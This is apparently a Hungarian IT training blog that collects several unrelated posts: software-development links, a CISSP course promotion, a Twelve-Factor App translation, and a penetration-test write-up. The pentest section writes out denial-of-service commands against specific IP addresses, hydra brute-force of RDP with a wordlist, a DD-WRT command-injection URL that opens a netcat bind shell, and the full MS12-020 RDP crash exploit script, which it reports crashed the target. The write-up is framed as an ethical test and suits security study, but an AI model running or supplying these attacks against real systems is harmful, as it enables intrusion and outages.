Erőltetett visszajelzésnek is nevezhetnénk, az alapötlet, hogy ha a kód amit írunk nem egyszerűen átlátható, akkor a visual studio az adott függvény háttérszínével jelzi. Minél hosszabb a függvényünk, annál kellemetlenebb háttérszínnel. És ha ez még nem lenne elég, hogy érezzük a törődést, minél hosszabb a függvényünk, annál gyakoribbá válik, hogy a gépelésünkbe véletlenszeű karakterek kerülnek. Ezzel is próbál terelni minket az egyes függvényeink méretének a kordában tartására.

Az extension ingyenes és nyílt forráskódú.

INTRODUCING “FORCE FEEDBACK PROGRAMMING”

Mit szóltok hozzá?

A Microsoft a következő nagyon részletes szabályozást használja:

Microsoft REST API Guidelines

Egy hosszú és részletes cikk a Power BI használatáról, nulláról indulva, sok linkkel és videóval.

Free data visualization with Microsoft Power BI: Your step-by-step guide

Van parancssori beépített kódgenerátorunk, amivel a üres, de komplett projekteket generálhatunk.

Exploring dotnet new with .NET Core

Ha unit tesztet írunk, akkor az adatokat szolgáltató rész tesztelésekor elég sok feladatba botlunk. Ha EF6-ot használunk, akkor megpróbálkozhatunk ezzel: Testing with a mocking framework (EF6 onwards)

Ha korábbi verziót használunk, akkor ez nem megy, a Microsoft ezt ajánlja helyette: Testing With A Fake DbContext

Mindkettő egy kicsit macerás. Szerencsére -egy magyar kolléga jóvoltából- létezik ennél elegánsabb megoldás is, ha az Effort-ot használjuk (Effort - Entity Framework Unit Testing Tool). Ez létrehoz a memóriában egy relációs adatbázist (NMemory), amit aztán megfelelően feltöltve hívhatunk unit tesztjeinkből.

(NMemory is a lightweight non-persistent in-memory relational database engine that is purely written in C# and can be hosted by .NET applications.)

Ez pedig egy friss és részletes cikk, hogyan használjuk az Effort-ot unit teszteléshez.

Save time mocking – use your real Entity Framework DbContext in unit tests

(Mindenfajta EF unit teszteléshez érdemes fejben tartani ezt a Stack Overflow választ és az alatta kialakult beszélgetést: Unit Testing DbContext)

Nyugat-Európa CISSP-lázban él, Németországban például ölnek egy-egy CISSP-vizsgás munkavállalóért. Hogy ez miért van így, ne firtassuk, elég az hozzá, hogy ami a hanyatló nyugaton történik, az kis késéssel nálunk is úgy lesz, nem is véletlenül: ha a nagy multiknál beragadt a CISSP a memóriába, akkor ezt a mentális állapotot kis hazánkba is el fogják juttatni.

Ebből az következik, hogy mindenkinek el kellene végeznie a CISSP-tanfolyamot Magyarországon, sürgősen.

Ám a jelenlegi CISSP-tanfolyamár mellett (1.000.000 Ft) hiába is mondogatjuk, hogy minden informatikusnak el kell végeznie, sajnos ez az ár nem magyar pénztárcához termett, hanem NY-Európaihoz (vagy méginkább: amerikaihoz). Mit lehet itt tenni?

Ha megnézzük, miért kerül ez ilyen hihetetlenül sokba, láthatjuk, hogy ebből a tanfolyamárból az ún. licencdíj 400.000 Ft-ot tesz ki, vagyis majdnem a felét. A licencdíj pedig fizikai megjelenési formájában egy nagy halom könyvet takar.

A világ legdrágább tankönyveit.

Ezért döntöttünk úgy, hogy saját tananyagra térünk át. Nyár elején elkészült a hivatalos NetAcademia-féle CISSP-tananyag, melyből nemcsak itthon, de Európa számos országában fogják oktatni a CISSP-képzést. 

Első lépésként előfizetőinknek szeretnénk kedveskedni az így előállt lehetőséggel: mostantól visszamenőlegesen eltöröljük a CISSP-képzés licencdíját!

A hivatalos NetAcademia-tananyagok elkészítésével elindultunk egy jövőbe vezető úton, amin hamarosan sorra következik a többi tanfolyamunk is. Szeptemberre óriási meglepetéssel készülünk!

A Blogomat általános gondolataim és tapasztalataim megírására használom, itt pedig azért publikálom őket, mert a NetAcademiával és Itfactoryval még mindig nagyon szoros az együttműködés.

Nem titok, hogy rendszermérnökként a tapasztalataim alapján alakítom a tematikákat és gyakorlatokat, miközben szem előtt tartom a gyártók ajánlásait. Az SBS erre nagyon jó állatorvosi ló volt :)

Íme most néhány gondolat, hogy mihez kell érteni, ha az ember IT-sa Windows 2016 és related dolgokkal akar foglalkozni: mindennel :)... a kulcsszó: DEVOPS!

https://reczigabor.wordpress.com/2016/07/16/devops-ahol-az-eg-es-fold-osszeer-es-atfedi-egymast/

Gábor

Az alkalmazást egy vagy több állapot nélküli folyamatként futtassuk.

Az alkalmazás a futtatókörnyezetben egy vagy több folyamatként fut.

A legegyszerűbb esetben maga a kód egy különálló script, a futtatókörnyezet pedig a feljesztő helyi laptopja rajta a nyelvi környezettel és a folyamatot parancssorból indítjuk (például így: python my_script.py). A skála másik végén egy kifinomult rendszer éles telepítése több folyamattípust használhat, létrehozva nulla vagy több folyamatot.

A tizenkét-tényezős alkalmazásfejlesztés folyamatai állapotmentesek és nem osztanak meg semmit. Minden nem átmeneti adatnak állapotnyilvántartó háttérszolgáltatásban a helye, tipikusan valamilyen adatbázisban.

A memóriaterületet vagy az állományrendszert rövid egy-tranzakciós átmeneti gyorsítótárként (cache) használhatjuk. Például, letöltünk egy nagy állományt, feldolgozzuk és az eredményt tároljuk az adatbázisban. A tizenkét tényezős alkalmazás sosem tételezi fel, hogy akár gyorsítás céljából valami a memóriában vagy lemezre mentve elérhető a jövöben egy másik kérés kiszolgálásakor vagy egy jövőbeni feladat végrehajtásakor  - mivel minden folyamattípusból több létezhet, és nagy a valószínűsége, hogy a jövőbeni kérést már egy másik folyamat fogja kiszolgálni. Még akkor is, ha csak egy folyamatunk van, az újraindítás (ezt kiválthatja új kód telepítés, konfiguráció változás, vagy éppen a futtatókörnyezet áthelyezheti a folyamatot egy másik fizikai elérésre) általában mindent helyi állapotot (mint például a memória és az állományrendszer) eltöröl.

Az Asset packagerek (mint a Jammit vagy a django-compressor) az állományrendszert használják a lefordított elemek gyorsítótárazásához. A tizenkét-tényezős alkalmazásfejlesztés azt javasolja,
hogy ezeket a fordításokat az előállítási szakasz (BUILD) során tegyük meg, hasonlóan a Rails asset pipeline-hoz.

Egyes webes rendszerek "post-it munkamenetek"-re támaszkodnak, vagyis gyorsítótárazzák a felhasználó munkamenetének az adatait az alkalmazás folyamatához rendelt memóriában, és elvárják, hogy az azonos látogató jövőbeni kéréseit ugyanehhez a folyamathoz irányítsuk. Ez ellenkezik a tizenkét-tényezős alkalmazásfejlesztés elveivel, ilyet sosem szabad használni vagy sosem szabad erre a működésre támaszkodni. A munkamenet állapotának adataihoz a jó jelölt egy olyan adatbázis, ami lejárati időt is kínál az adatokhoz, ilyen például a Memcached vagy a Redis.

The Twelve-Factor App: VI. Processes

Egy összehasonlító elemzés a konténeralapú fejlesztés és a Docker fejlődéséről és kapcsolatáról.

Windows Containers and Docker

Az előző részben (http://netacademia.blog.hu/2016/07/07/ami_a_felhobol_megmaradt_konnyen_kodde_valhat) már sok jót, jó sokat megtudhattunk egy pentest eredményéből. Jöjjön akkor a folytatás!

************************** Pentest by A.G. ***********************

Sietünk, de azért még egyet megnézünk: nikto -h 195.71.46.100:81

8080-as port:

Tényleg van egy DD-WRT-s login screenünk:

Kicsit poroljuk le a httpd-t (valószínűleg nincs load balancing, WAF, stb.):

Ha még a slowhttp is besegít, biztosan hálás lesz:
slowhttptest -u http://195.70.46.100:8080 -g -o test.html

Etherape segít követni az aktivitásunkat:

Íme a jutalom.
A WebUI elérhetetlen és biztos, hogy nem elégedettek a sávszélességgel a LAN userek:

Mi lenne, ha megpróbálnánk megnézni a jelszó erősségét? DD-WRT webes interfészén alapból root-ként lehet belépni. Tehát jó esetben „csak” a jelszó a kérdés. xHydra teszi amit kell, de ncrack, medusa, nmap http-auth is jó lehet.

A login dictionary attack működik (tehát nincs csillapítás, vagy login failure daemon).
https://www.dd-wrt.com/wiki/index.php/Preventing_Brute_Force_Attacks
A jelszó fájl mérete azonban:

Tekintve a nagy számot bal oldalt, ez sok időbe telne és nem is biztos, hogy eredményre vezetne... Mivel DD_WRT-ről van szó egy próbát ez is megérne (sajnos csak LAN oldalról működik direkt URL hívással, vagy CSRF alapon):
http://router IP/cgi-bin/;nc$IFS-l$IFS-p$IFS5555$IFS-e$IFS/bin/sh
Utána pedig: telnet router IP 5555

Felsőbb port tartományban még ezek a portok váltak „gyanússá”:

30250-es port:
Ha minden igaz, akkor RDP (Windows távoli asztal) bejelentkező képernyőt kell kapnunk és tényleg:

Biztos ami biztos, megnézzük van-e csillapítás?
hydra -s 30250 -V -l administrator -P /usr/share/wordlists/rockyou.txt -t 4 -w 5 195.70.46.100 rdp lenne parancssorban, de mi ismét xHydra-t használunk, ami így fest:

http://serverfault.com/questions/230033/how-to-stop-brute-force-attacks-on-terminal-serverwin2008r2

33080-as port:
Gyanús, hogy az nmap filteredre (tűzfal, routing szabály, IDS, stb.) hozta ki, egy korábbi tesztnél open volt és szintén MS Terminal Service szolgált ki minket:

Kicsit keresgélve ezt találjuk:
MS12-020 / CVE-2012-0002 Vulnerabilities in Remote Desktop could allow remote code execution
Ez jól hangzik :). BlackBap.Org-ról az alábbi python scriptet hívhatjuk segítségül:
# MS12-020 / CVE-2012-0002 Vulnerability - Proof of Concept
# BlackBap.Org
import socket
import sys
buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0"
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224
HOST = sys.argv[1]
PORT = 33080
for i in range(1000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print "sending: %d bytes" % len(buf)
s.send(buf)
rec = s.recv(100)
print "received: %d bytes" % len(rec)
s.close()
# BlackBap.Org

A host IP-t argumentumként adjuk át, a portot a kódban szerkesztjük. Majd futtatjuk a következőt:
#python evil.py 195.76.40.100

Ezen a ponton mondta, hogy elég. Összeomlott és rendszer újraindítást okozott:

Az utolsó próbálkozásnál látható, hogy újra felállt a rendszer. Természetesen loop-ba tehető a script...
https://technet.microsoft.com/hu-hu/library/security/ms12-020.aspx

************************** Pentest by A.G. ***********************

És itt a vége. (Itt a vége?) 

Köszönjük szépen Gábornak a remek tesztet, a doksit, és az etikusságot! :)